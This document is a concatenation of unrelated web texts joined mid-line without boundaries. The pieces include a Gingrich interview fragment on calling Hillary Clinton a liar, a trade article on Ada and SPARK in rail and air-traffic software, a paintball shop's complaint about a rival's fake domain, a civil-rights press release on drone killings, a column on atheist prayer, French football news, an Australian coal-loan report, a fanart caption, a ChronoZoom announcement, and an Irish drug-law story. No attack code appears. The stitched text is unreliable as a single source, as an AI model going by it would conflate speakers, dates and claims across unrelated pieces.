. He lied here and here. She is like the number one lying politician in the history of Washington, D.C.
I'll give an example here but I guess the longer question out of Tray Gowdy questioning James Comey about all of her lies is: How does Donald Trump delicately say to the former Secretary of State that she is a liar?...
So my question is, Hillary has made honesty and lying an issue now going into this debate. If you are Donald Trump how do you point out she lied about Benghazi, lied about her e-mail server, and lied about a lot of other issues?
GINGRICH: I think his greatest strategy would be to be respectful and slightly lower key than people expect.
So I think, for example, if he says, you know, 'That is simply not true,' as opposed to you are a liar.
If he says: 'How can you possibly say that given what the Director of the FBI has already said?'
I think he wants to be pulling her out rather than attacking her, and where possible he wants to be making fun of her. Just to say for example: 'Nothing the director of the FBI has said agrees with what you just said. How do you explain that?'
I think that kind of keeping her on defense.An interview with AdaCore’s Greg Gicca shows how Ada aids in the safety, security and software reliability for transportation systems.
[ Editor’s note: A couple of corrections to this article need to be noted: 1. AdaCore does sell products and services, such as GNAT Pro that’s tested and supported for the host/target pair; 2. Table 1 represents only a partial list of the platforms on which Ada is supported, either by AdaCore or other industry vendors; that is: Table 1 should not be taken as a comprehensive list. We apologize for any confusion.
Chris A. Ciufo, Editor.]
Today, it’s all about using the best software language for the task at hand, be it C/C++, Java or Ada. Certainly anyone working on safety- or security-critical systems should become familiar with Ada, a formerly “niche” military programming language that’s not just for the DoD anymore. The benefits Ada brings are enormous in applications that cannot be allowed to fail and rely on robust software in medical, industrial, avionic, industrial, and transportation market segments.
In fact, all of these markets have similar safety (and increasingly “security”) requirements. In transportation alone, the tens of millions of daily passengers on railways, subways, roadways and in the air all expect to arrive at their destination safely and on time. They don’t think about source lines of code, priority inversions or software bugs, and they don’t expect hackers to compromise a city’s traffic signals like in the movie The Italian Job. Ada is an ideal language upon which to build secure, reliable software for safety-critical transportation systems.
We recently caught up with Greg Gicca, director of safety and security at AdaCore, and discussed how Ada fits into transportation applications. AdaCore is a recognized worldwide expert on the Ada language. Founded in 1994 with offices in New York and Paris, the company is stuffed with computer scientists and bona fide Ada language gurus. What follows are edited excerpts from that discussion, along with case studies available from AdaCore and their end users in industries related to transportation, air traffic control, and aviation.
But…What is Ada?
Ada was developed by a working group sponsored by the US Department of Defense (DoD) in an effort to consolidate the number of high-level software languages used in military projects. According to Wikipedia, Ada helped reduce the number of languages from 450 to 37 between 1983 and 1996. Ada is still a requirement on many new DoD programs and it continues forward migration (with backwards compatibility) as proven legacy code gets reused on recapitalized DoD systems. But the DoD might be considered an anomaly, having the ability to create technology from scratch and mandate its use. So Ada might be considered some sort of a “one-off,” used only by the military. That’s not true since Ada has many features that makes it ideal for safety- and security-critical systems.
Ada is a simple language that uses readable syntax such as “+” for addition and plain language conditions such as “if…end.” This makes it easier for humans to debug since the symbols used in other languages don’t come naturally and may be easily missed by developers. Ada doesn’t allow buffer overflows, a common mechanism used by hackers to corrupt a system and cause it to go unstable. Ada is also structured, object oriented, and strongly typed. This latter is one of Ada’s most redeeming features since it means there’s not a lot of ambiguity on how code is written. Wikipedia points out that Ada’s strong typed restrictions include:
absence of unchecked run-time errors
strong guarantees about run-time behaviors
type safety that rejects function calls that disregard data types
well-defined errors
myriad other locked-down constructs that force the programmer to follow Ada’s rules which disallow room for interpretation.
Transportation systems, like Switzerland’s many high-speed railways, absolutely depend on software that has strongly typed features (Figure 1). It should be comforting then that railway control systems manufactured by Siemens Mobility use GNAT Pro, a version of the Ada language with a tool suite from AdaCore. “Safety has the highest priority in the railway business,” says Daniel Bigelow, Siemens software developer. “We invest a lot of time and energy in code-review and testing activities. [One of] our two most important requirements [was] an Ada compiler that could be configured to analyze code against a rigorous set of specific criteria.” Translation: Ada was chosen for Siemens’ safety-critical systems.
Figure 1: Train control systems rely on safety-critical software that must never fail. Siemens Mobility has selected Ada for the next generation of its railway control and information system. (Courtesy: Siemens Mobility; www.mobility.siemens.com).
The Siemens railway control system is a modern networked application that covers every aspect of the railway control domain. It uses a distributed architecture to allow a computer to automatically take over control of a cell from another computer in the same cell due to a hardware failure or planned maintenance. This architecture guarantees high-availability of the system in accordance with European railway software standards. The current version of the system controls the train traffic throughout major parts of Switzerland and also parts of Austria, Hungary and Malaysia. Other Siemens railway computer systems are certainly candidates for Ada’s mission-critical assurance, such as the ZSI 127 Intermittent Automatic Train Control System shown in Figure 2. This transportation system monitors train movement using dynamic brake curve computation and applies the brakes in stages. According to Siemens, “data is transmitted on an intermittent basis via RF track-mounted Eurobalises, and also semi-continuously via Euroloop if necessary.” Railway signal controllers, track switchers, and even whole-system traffic monitoring are further examples of places where Ada could be deployed.
AdaCore’s Gicca says that his company’s GNAT Pro Ada compiler and other tools were used to discover problems at the source code level instead of in the lab. Tools developed for Ada by his company essentially automate the code-review process.
What Makes Ada Unique?
Although AdaCore didn’t invent Ada, they did invent GNAT, the GNU Compiler Collection (GCC) eventually made available by the Free Software Foundation for Ada. Since GNAT is obviously available free-of-charge, AdaCore makes its money selling GNAT Pro – the compiler along with some “60-odd tools that go along with Ada”– plus support services via subscription. Technically the company doesn’t sell products; rather, it’s the support for those products. And customers can switch to the fully functional and well-supported free tools at any time. This model allows AdaCore to get deeply involved with its paying customers, which is why, says Gicca, the company has so much domain knowledge on transportation applications such as the unique Siemens system.
Figure 2: Siemens’ ZSI 127 Intermittent Automatic Train Control System. While it’s unknown if this system uses Ada to automatically control braking, it’s definitely a candidate for Ada’s safety-critical coding practices. (Courtesy: Siemens Mobility; www.mobility.siemens.com).
Ada itself is also unique for many reasons, not the least of which is the number of platforms on which it can be hosted. A partial list of these platforms – native CPUs, operating systems, real-time operating systems, and cross platforms – is shown in Table 1. This is important in transportation due to the sheer number of different types of systems that make up “transportation”: from railways and subways, to buses, shipping, roadways and more. Each of these platforms uses different computers and infrastructure, and each has a combination of legacy hardware and software but must operate in different regulatory environments which vary by country. And don’t forget, all of these systems have some level of safety, security or both since lives are at stake when the system operates.
Table 1 shows that there are sources to the builds for Windows, Linux, Windows and anything else one could need. Ada was also designed for the types of embedded systems found in many transportation applications and it runs on all of the favorite embedded targets found there. Some of the most popular build platforms for embedded transportation targets include “various flavors of VxWorks, VxWorks-Cert, Vxworks-653, VxWorks for MILS [all available from Wind River], LynxOS [from LynuxWorks], PikeOS from Sysgo and a variety of different embedded platforms.”
One example of a legacy platform that adopted Ada is the FAA’s User Request Evaluation Tool (URET), a conflict-resolution and detection tool for U.S. air traffic controllers. Created by federally funded research lab Mitre’s Center for Advanced Aviation Systems Development, URET helps enable the FAA’s Free Flight program by aiding controllers in meeting pilots’ requests for in-route flight changes due to weather, direct routing requests, or altitude changes for smoother flight or to capitalize on prevailing winds. Without the system, controllers in Air Route Traffic Control Centers (ARTCCs) were forced to rely on paper flight documents, hand calculations and mental notes to decide on granting a pilot’s request while assuring conflict-free route assignment. More automation reduces an element of human error.
Table 1: A partial list of the platforms that currently support Ada. (Courtesy: AdaCore).
URET was built by Lockheed-Martin, which used SPARC-based Sun workstations running POSIX thread libraries on Solaris to protect against software priority inversions. Ada was selected as the preferred language for this safety-critical system. Additionally, Lockheed-Martin had proven as reliable some legacy code on different platforms and AdaCore created a “type dictionary support tool” to port between platforms. More specifically, the company used an ASIS-for-GNAT tool based upon the ISO/IEC 15291:1995 international Ada Semantic Interface Specification. Ada was the ideal language to meet the priority inversion avoidance concern as certain POSIX thread priorities were maintained in the Ada program implementation. According to AdaCore, URET was installed at all 20 ARTCCs and is currently helping pilots map shorter routes, safely.
When Ada is Not Enough
For all the goodness of Ada, there are many applications that require more robustness, determinism and security. For those reasons, the SPARK language was created. According to Wikipedia: “SPARK is a formally-defined computer programming language based on the Ada programming language, intended to be secure and to support the development of high integrity software used in applications and systems where predictable and highly reliable operation is essential for reasons of safety.” Examples include avionics, such as those systems with DO-178B safety-critical certifications required; medical systems that mandate FDA certification; process control software in nuclear power plants with U.S. NRC certification; or even air traffic control.
In order to make it deterministic, changes were done such as removing the ability to perform exception propagation and handling. Also removed was general task rendezvous, while contracts were added that assured that certain certifiable requirements in the code were met. This allows programmers and certifying agencies to formally prove the correctness of code by setting, verifying and certifying to requirements. AdaCore notes that for safety and DO-178B, one still has to test the code – you can’t just prove correctness – but one can perhaps test less. (In the latest revision of DO-178C you do get certification credit using SPARK and can test in fact less.) SPARK is also ideal at implementing the Common Criteria certification assurance levels for secure software in EAL levels 1-7 (7 being the highest).
Figure 3: NATS builds the iFACTS system for the UK’s air traffic controllers which uses Altran-Praxis SPARK and tools from AdaCore. (Image courtesy of NATS; http://media.nats.co.uk/).
Says AdaCore’s Gicca, “SPARK now is an open source language that was developed by Altran-Praxis fifteen years ago. AdaCore enhanced the language and added a toolset,” similar to how the company rounded out GNAT Pro. SPARK is a subset of Ada with extensions, which is really unique since most compilers can’t handle a subset and extensions, but as a subset SPARK allows verifiable and deterministic coding like Ada. AdaCore’s partnership with Altran-Praxis was formalized three years ago, and it’s not surprising that Praxis selected GNAT Pro for yet another safety-critical application in air traffic control.
Besides creating SPARK, Altran-Praxis is a UK-based embedded and safety-critical systems integrator, and the company selected GNAT Pro for the UK’s next-generation Interim Future Area Control Tools Support (iFACTS) air traffic control system for its client NATS. According to AdaCore’s Gicca: “iFACTS will use a new program that is being designed and implemented from the start with the SPARK Ada language. The program used the GNAT Pro native toolset on IBM AIX workstations as the development environment.”
iFACTS helps Britain’s air traffic controllers based out of London Area Control Centre, Swanwick to meet increased air traffic and alerts them to flights that deviate from flight plans, something keenly learned in America post-9/11. Lead integrator NATS pioneered research, development and simulation of advanced air traffic control tools prior to contract award in 2007 (Figure 3). Using Ada derivative SPARK, NATS just reported that “figures for February to April 2012 show the average NATS air traffic control (ATC) delay was down to 1.4 seconds per flight compared to an average delay of 132.1 seconds 10 years ago; this is the lowest figure since records began in the mid-1990s.” Clearly the system works, and Ada with SPARK helps to make the software robust and safe.
Chris A. Ciufo is senior editor for embedded content at Extension Media, which includes the EECatalog print and digital publications and website, Embedded Intel® Solutions, and other related blogs and embedded channels. He has 29 years of embedded technology experience split between the semiconductor industry (AMD, Sharp Microelectronics) and the defense industry (VISTA Controls and Dy4 Systems), and in content creation. He co-founded and ran COTS Journal, created and ran Military Embedded Systems, and most recently oversaw the Embedded franchise at UBM Electronics. He’s considered the foremost expert on critically applying COTS to the military and aerospace industries, and is a sought-after speaker at tech conferences. He has degrees in electrical engineering, and in materials science, emphasizing solid state physics. He can be reached at cciufo@extensionmedia.com.
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Tags: top-storyTHE FALSE “RIPPLE” WEBSITE & THE TRACK RECORD
At approximately 6pm on Monday August 26 2013, an individual had stated on their FaceBook the existence of a Misleading “RipplePaintball.com” website. It was quickly shared in the matter of moments within the Paintball Community on FaceBook. Their identities have been blocked for their protection.
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RipplePaintball.com is not owned and/or registered by anyone here at Ripple Industries.
Our Official Websites are:
www.BattleFieldPB.com www.BFPB.ca www.RippleIndustries.ca www.Rippleind.ca
Our old location (from July 2009-July 2013) was located at 160 East Beaver Creek Rd. Unit 12. We decided to move out as the store has grown over the years and required more space. We, Ripple Industries, moved the store to our new Location at 100 Leek Cres., Unit 10 and re-opened on July 6 2013.
The False Website claims that “WE’VE MOVED” and having the “Alternate Address” of another Company’s Store Location with a direct website link. The web page has similar a “Gas Mask” to our Logo. Image was saved from a FaceBook Discussion Group.
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The False Website was quickly taken down shortly after many members of the paintball community had spoken out and expressed their thoughts. All negative comments and ratings were quickly deleted off from the Company’s FaceBook Page.
Within 24 Hours of the news, we received an apology from President of the Company and we have also found another Public Apology with similar context. From both Statements, they state that the act was “Undertaken by an Employee” and that they had been “Disciplined”.
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“RipplePaintball.com” was Registered on July 25 2012 and we did not have any knowledge of this False Domain until early 2013. The domain was registered in the summer far before their “New Neighbouring Pro-Shop” opened next to us in November 2012. We did recall that the domain was For Sale for $1500 years ago but we did not think much about it. We speculate that someone high-ranked had purchased the domain as why would any employee spend such a high value for a False Website. An active member of the paintball community had also pointed this out:
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Below is the whois public domain information:
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If it was the “Disciplined Employee” that acted, why would they register another domain of another paintball company under “Tacticalmod.ca”. The public whois information clearly states the email of the “Company” and the Name of the “Administrative and Technical Contact” matches the name of the President of the Company.
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Ripple Industries has done business with this “Company” before for many years prior to September 10 2012. As we did not have knowledge of this “False Website” at that point in time. If we have known, we would have ended our business relationship with them earlier. We decided to end our business relationship near the end of August 2012 after the fact that a Representative of the Company visited our store and claimed the following:
“If you become PBL Approved, my boss is going to open at store here.”
-Wholesale Representative of the Company
We did not take kindly to that statement and viewed it as an insult. We decided to part ways and continue to operate at our old location.
In November 2012, the “Company” had opened their newest storefront on the other side of the same commercial plaza as us. Many may recall the backlash the paintball community had on the “Company’s” FaceBook Page. The Company had claimed on their FaceBook Page that we helped them find the location and we had to respond as that statement was false. Below is our Official Statement regarding the opening of the new neighbouring storefront:
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On July 6th 2013 we have moved to our new location at 100 Leek Cres., Unit 10. Within the same week that we opened the new Ripple Industries Location, the Agent of the Landlord of our old location at East Beaver Creek found a sign taped to the door of our old unit: (we blacked out the unit number.)
“For all of your Paintball and Airsoft needs go to 160 East Beaver Creek Unit XX”
-Sign posted approximately in early July 2013
We found the the torn-up sign in the unit as the Real Estate Agent threw it inside while inspecting the old location. As we do not have proof of who had posted the sign but the intent was to lure unaware clients to the neighbouring storefront on the other side of the plaza. We took a photo of what was left of the sign:
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Another instance of the “Company” pressuring local paintball businesses was the Banner from “Milsim Exclusive”. On December 7th 2012, Milsim Exclusive was granted to hang their banner inside a Local Indoor Paintball Field only for it to be removed two months after.
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The use of other Local Business Names within the “Company” Ads has also been seen on Kijiji Classifieds within the past year. Below we have taken a screenshot of the Latest Ad for a popular marker. In the “TAGS” we clearly see our Business Name (in Red) and another local shop (in Blue). Using as many “TAGS” as possible in the very same manner as the website domains for Search Engine Optimization. These ads have been listed since November 2012 for multiple listings and require to be updated on a regular basis as they expire.
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Back on December 26th 2012 (Boxing Day Sale) customers may recall what they witnessed in the driveway of our old location. A hard working individual dressed in the Olive Tactical Vest and Chicken Suit with a printed sign: (We have blocked out the Unit #)
Discount Paintball
SAVE $
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Unit XX
The individual acted alone and as his body language expressed that he did not want to be in the winter cold to “Dance & Wave” to everyone that drove into the plaza that day.
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The announcement that the False Website of “Ripplepaintball.com” was a result of one employee's actions is very hard to believe. The "Company" has a clear track record of these types of business practices and continues to cover its tracks since the spotting of the False Website.
We foresee with this continuing trend of covering up their tracks:
Deleting Negative Comments & Ratings on their FaceBook Page
Removal of “RipplePaintball.com” Content
Abandonment of the Registered Domains
Removal of All Kijiji Listings
Closure of their “Richmond Hill” Location as it is an Embarrassment due their actions
Again we here at Ripple Industries are not the ones to judge as we are here to service you and the paintball community. We have always been a firm supporter of your Local Paintball Shop, we are not looking for an apology from the “Company” as it is the paintball community that is owed more than just an apology.
We’re Not Angry, We’re Not Upset, We’re Just Disappointed.
We greatly appreciate your support, please feel free to share, comment and discuss - not just on our FaceBook Page but anywhere you want to express your thoughts.
Thank You for your Support & Passion for this great sport of Paintball and Ripple Industries.
-Thomas Mok
Owner/Operator of Ripple Industries Ltd.February 5, 2013, New York – In response to the release of a Justice Department white paper titled, “Lawfulness of a Lethal Operation Directed Against a U.S. Citizen who is a Senior Operational Leader of Al Qa’ida or An Associated Force,” the Center for Constitutional Rights made the statements below. Also today, the Center for Constitutional Rights will be filing a brief with the ACLU arguing against current and former administration officials’ attempt to keep out of court a case challenging the targeted killing of three American citizens, one of whom is the subject of this white paper.
Said Center for Constitutional Rights Senior Attorney Pardiss Kebriaei, “This white paper’s claim of executive power is disturbing enough on its own, but it doesn’t describe the vast majority of targeted killings being carried out by the U.S. government, which now number in the thousands. The government claims the authority to target a U.S. citizen who is a ‘senior operational leader of Al Qa’ida or an associated force,’ but it doesn’t provide an analysis that would explain, for example, the killing of our client’s grandson, 16-year-old Abdulrahman Al Aulaqi, nor does it describe the so-called signature strike killings of people whose identities are unknown but who fit some undisclosed profile.
“One of the most dangerous aspects of the white paper is the claim that ‘there exists no appropriate judicial forum to evaluate these constitutional considerations’ either before or after a killing,” continued Kebriaei. “The heart of our lawsuit is a demand for administration officials to account for these killings in a court of law.”
Said Center for Constitutional Rights Executive Director Vincent Warren, “The parallels to the Bush administration torture memos are chilling. Those were unchecked legal justifications drawn up to justify torture; these are unchecked justifications drawn up to justify extrajudicial killing. President Obama released the Bush torture memos to be transparent; he must release his own legal memos and not just a Cliffs Notes version for public consumption, particularly when scores of civilian lives are at stake. Despite this attempt to appear transparent, the program remains opaque. This will rightly raise many questions for John Brennan at his confirmation hearing on Thursday beyond his role in the Bush torture program, since he is among the main architects of the Obama administration targeted killing program.”AS evidence accumulates about the many health benefits of religious practice, prayer is looking better and better. Some atheists have even gone public with their own prayer-for-health’s-sake practice.
Take Sigfried Gold, the subject of a recent article in The Washington Post. He’s a thoughtful, articulate man who lives in Takoma Park, Md., and turned 50 yesterday. He is passionate about philosophy and long ago decided that there was no stuff in the universe that was not physical — no supernatural, no divine.
But he also smoked too much, and more than anything else he ate too much. He was worried that his weight — a good 100 pounds of excess fat — would kill him. So he joined a 12-step program to control his food addiction. One of the steps is to turn your problem over to a higher power. So Mr. Gold created a god he doesn’t believe exists: a large African-American lesbian with an Afro that reached the edges of the universe. (Those who find this ridiculous, if not offensive, should read “The Shack,” by William P. Young, in which the Holy Trinity is a black housekeeper, a Hebrew handyman and a mystical Asian gardener with windblown hair. “The Shack” was a runaway New York Times best seller.)
Every day Mr. Gold dropped to his knees to pray, and every day he spent 30 minutes in meditative quiet time. These days Mr. Gold, who calls himself a “born-again atheist,” doesn’t smoke. He doesn’t drink. And, at 5 feet 7 inches, he weighs 150 pounds.Article
Le club turc d'Antalyaspor a confirmé le départ de João Luis Afonso vers le PSG. A Paris, il va intégrer la cellule de recrutement du club.
Comme annoncé par la presse française il y a quelques jours, l'ancien chef de la cellule de recrutement du FC Porto João Luis Afonso va bien rejoindre le PSG. Son actuel employeur, le club turc d'Antalyaspor, vient d'officialiser son départ vers Paris par le biais d'un communiqué. L'ancien du FC Porto a été remercié par son désormais ex-club qui lui souhaite «du succès dans son nouveau job.»
A Paris, João Luis Afonso va retrouver son cousin et vieux compère du FC Porto Antero Henrique et il va intégrer la cellule de recrutement du club parisien. Cela fait quelques semaines qu'Afonso travaille déjà pour le club de la capitale et cette officialisation de son départ est la suite logique de l'affaire.This article is over 1 year old
Report questions why taxpayers should finance the project, which would have an export edge over Australia’s coal ports
Government may fund South African mine that would compete with Adani
An Australian government agency is considering a multi-million dollar loan to a South African coal mine that would be in direct competition with the Adani Carmichael coal mine.
The Export Finance and Insurance Corporation (Efic) is considering the loan to develop the Boikarabelo coal project in Limpopo Province, South Africa.
The Boikarabelo mine has approval to extract 32m tonnes a year of raw coal, making it of similar size to some proposals in Australia’s Galilee Basin.
With Efic’s help, the project could lead to the development of one of the biggest coalfields in the world, the Waterberg Basin, a resource of about 75bn tonnes.
The proponent of the project, the South African-based Resource Generation Limited (Resgen), would use the resource to compete with Australian coal in international markets, particularly in India.
John Hewson says $1bn loan to Adani the 'last thing' Coalition should be doing Read more
It would have the advantage of being much closer to India, saving a week of shipping time compared with Australia’s coal ports.
A new report, African White Elephant: Should Australian taxpayers finance a South African coal mine?, has questioned the rationale of the Efic loan.
The report, published by the progressive think-tank The Australia Institute and the Jubilee Australia Research Centre, asks why Australian taxpayers should help fund the project.
“The proponent company, Resgen, does not have strong links to Australia,” it says.
“While listed on the Australian stock exchange, it is majority foreign-owned, with a South African CEO and mainly South African board. It appears to have no activities based in Australia. Its ‘Australian office’ has a South African phone number.
“While Resgen’s links to Australia are minor, its South African coal would compete with Australian coal in international markets, particularly in India.”
The report says that while Efic can lend money to non-Australian projects so long as there are other benefits for Australian exporters, it wonders what those benefits will be in this case.
Adani may be forced to revamp Carmichael coalmine clean-up plans Read more
It has also questioned Efic’s capacity to assess environmental and social risks, given it has provided finance to some of the worst social and environmental catastrophes in the Asia-Pacific region, including the Ok Tedi Mine, the Porgera mine, and the Bougainville Panguna mine.
“South Africa’s mining industry has a poor record on accountability, human rights and environmental issues, raising the risk of Efic, an Australian government entity, being linked to these problems,” it says.
Rod Campbell, a research director at The Australia Institute, says that while the size of Efic’s potential loan is confidential, he estimates it would be between $50m and $100m, given the $530m financing the project requires.
It would be much larger than Efic’s usual loans - in 2016-17, Efic has provided more than 50 loans worth a total of $150m, with one worth $85m, and the rest worth less than $10m and many less than $1m.
Campbell has questioned the rationale for Efic’s potential loan, given the Australian government is also considering making a $1bn loan to the Adani Carmichael project, to help it sell coal to India.
“Developing a South African coal mine with Australian taxpayers’ money is madness, no matter what side of Australia’s coal debate you are on,” he said.
“At best the project fails and we lose our money, at worst it leads to increased greenhouse emissions and damages our own coal industry.”
In Queensland on Thursday, the prime minister, Malcolm Turnbull, said the Adani Carmichael project was “vitally important” for Queensland’s economy.
“Let’s be quite clear about this,” he said. “If Australia stopped exporting coal to India, they’d simply buy it from another market. They’d buy it from Indonesia or they’d buy it from South Africa or Colombia.”My latest commission, and a brand-new piece of artwork being uploaded to my gallery for once. I still have a few other older works which I need to upload from my blog, but I wanted to get this one up as soon as possible because unfortunately, Blogger has an annoying tendency to resize all of my large images and I'd like to have a full-resolution version of this piece available for people to see.This commission was done for my lovely friend ~ jodyjm13, who wanted a scene of Zecora preparing and testing out her powder that she used on Nightmare Night. The numerous light sources presented something of a challenge, but I had a great deal of fun with the project all the same.EDIT:..Oh dear Goddess...A Daily Deviation, are you quite serious? A pony-themed piece by me, one of many in my humble fanart gallery, and it's worthy of such an honor? Eep, thank you so much everyone..!!Imagine a timeline of the universe, complete with high-resolution videos and images, in which you could zoom from a chronology of Egypt’s dynasties and pyramids to the tale of a Japanese-American couple interned in a World War II relocation camp to a discussion of a mass extinction that occurred on Earth 200 million years ago – all in seconds.
Based on an idea from a University of California, Berkeley, student, ChronoZoom – essentially a zoomable timeline of timelines augmented with multimedia features –- is coming to life.
Roland Saekow disusses ChronoZoom’s possibly revolutionary impact on education and the teaching of history. (Video produced by Roxanne Makasdjian, Media Relations)
A University of California, Berkeley, geologist and his students have teamed up with Microsoft Research Connections engineers to make this web-based software possible. ChronoZoom is being designed to help students, or anyone, visualize history and to assist researchers in viewing large amounts of data to find new historical connections.
A beta version of ChronoZoom was released today (Wednesday, March 14) by Outercurve Foundation, a non-profit organization that supports open-source software.
The idea arose in a UC Berkeley course about Big History taught by Walter Alvarez, the campus geologist who first proposed that a comet or asteroid smashed into the Earth 65 million years ago and killed off the dinosaurs. Big History is a unified, interdisciplinary way of looking at and teaching the history of the cosmos, Earth, life and humanity: the history of everything.
One of the difficulties of teaching history –- and teaching Big History, in particular –- is conveying a sense of the time scale, which ranges from the 50,000-year time span of modern humans to the 13.7 billion-year history of the universe, Alvarez said. Human history compared to cosmic history is like “a postage stamp relative to the whole size of the United States,” he said.
Walter Alvarez explains how ChronoZoom can help in the teaching of Big History.(Video produced by Roxanne Makasdjian, Media Relations)
“With ChronoZoom, you are browsing history, not digging it out piece by piece,” said Alvarez, a Professor of the Graduate School in the Department of Earth and Planetary Science. Alvarez, who taught his Big History course for five years, said that ChronoZoom will be the best visual way to date to help students understand the grand sweep of history.
“ChronoZoom could revolutionize the teaching of history,” said Saekow, an interdisciplinary studies major who graduated from UC Berkeley in 2009 and has worked on ChronoZoom ever since. “ChronoZoom is very visual and can help provide context, like a map. It might one day help visualize all the information in Wikipedia or all the world’s libraries.”
Saekow was taking Alvarez’s Big History course in 2009 when he submitted a term paper demonstrating a crude, zoomable timeline of history.
“When Roland presented his paper on ChronoZoom, the students burst out in applause,” Alvarez said.
Alvarez worked with Saekow to build a prototype that they showed to people at Microsoft Live Labs in 2010. The research division of Live Labs was intrigued, and offered to help the two develop a zoomable timeline using Live Labs’ proprietary Deep Zoom (Seadragon) software, which is designed to zoom in on portions of images.
“They did a wonderful job with version one, but we wanted more flexibility,” Alvarez said. “We wanted to add changes quickly, and let others do so, too.”
That’s when Microsoft Research committed resources to support 25 researchers – including eight current and former UC Berkeley students – in an intense, six-month project to create an entirely new piece of software, also called ChronoZoom, that makes it easy to update the cosmic timeline with more specialized timelines, videos, images and even research papers. ChronoZoom 2.0 is based on Microsoft Azure, a platform that lets developers create applications that manipulate data across a “cloud” of datacenters, and HTML5, the newest — though still evolving — language for displaying content on the Web.
Professor Sergey Berezin and six of his students at Moscow State University in Russia joined the project to make the code development possible.
“They’ve really thrown resources at it in a big way,” Alvarez said. “ChronoZoom is not completed, but it has a good enough start that Microsoft feels comfortable sharing it widely and seeking a response from people about what works and how it can be improved.”
While Alvarez and his students provided much of the content currently in ChronoZoom, the team’s goal now is to excite other people to add timelines and multimedia in order to allow users to delve deeply into all aspects of history.
“We need help with the content to take ChronoZoom to the next level,” Saekow said. “This is just the beginning.”
ChronoZoom will not only be useful for students learning history, Alvarez said, but also for teachers interested in the concept of Big History and scholars in the humanities, not to mention archeologists and paleontologists focused on prehistory and geologists studying Earth history.
“ChronoZoom is a visualization tool allowing for the first time people to mash up data from all sorts of different places in different formats enabling new insights that would never have been possible before,” said Microsoft Research Connections program manager Michael Zyskowski. “Scientists, researchers, even students can discover new things they would never have been able to discover before.”
More information:Ireland's community of ravers has been thrown a "go for it" by the government, with news that the voiding of a law has accidentally made some Class A drugs including ecstasy, ketamine and crystal meth legal. However, according to the Irish Examiner, Irish parliament is to hold an emergency meeting tonight and is expected to make the drugs illegal again tomorrow morning.
The reason for the temporary legalisation is that the Court of Appeal ruled that the Misuse of Drugs Act 1977 as void this morning, because some additions to the law haven't gone through Irish parliament.
Despite a flurry of emergency meetings, getting things through any legislative body takes a little bit of time. That means that Ireland is currently a free-for-all for anyone who likes indulging in that kind of thing |
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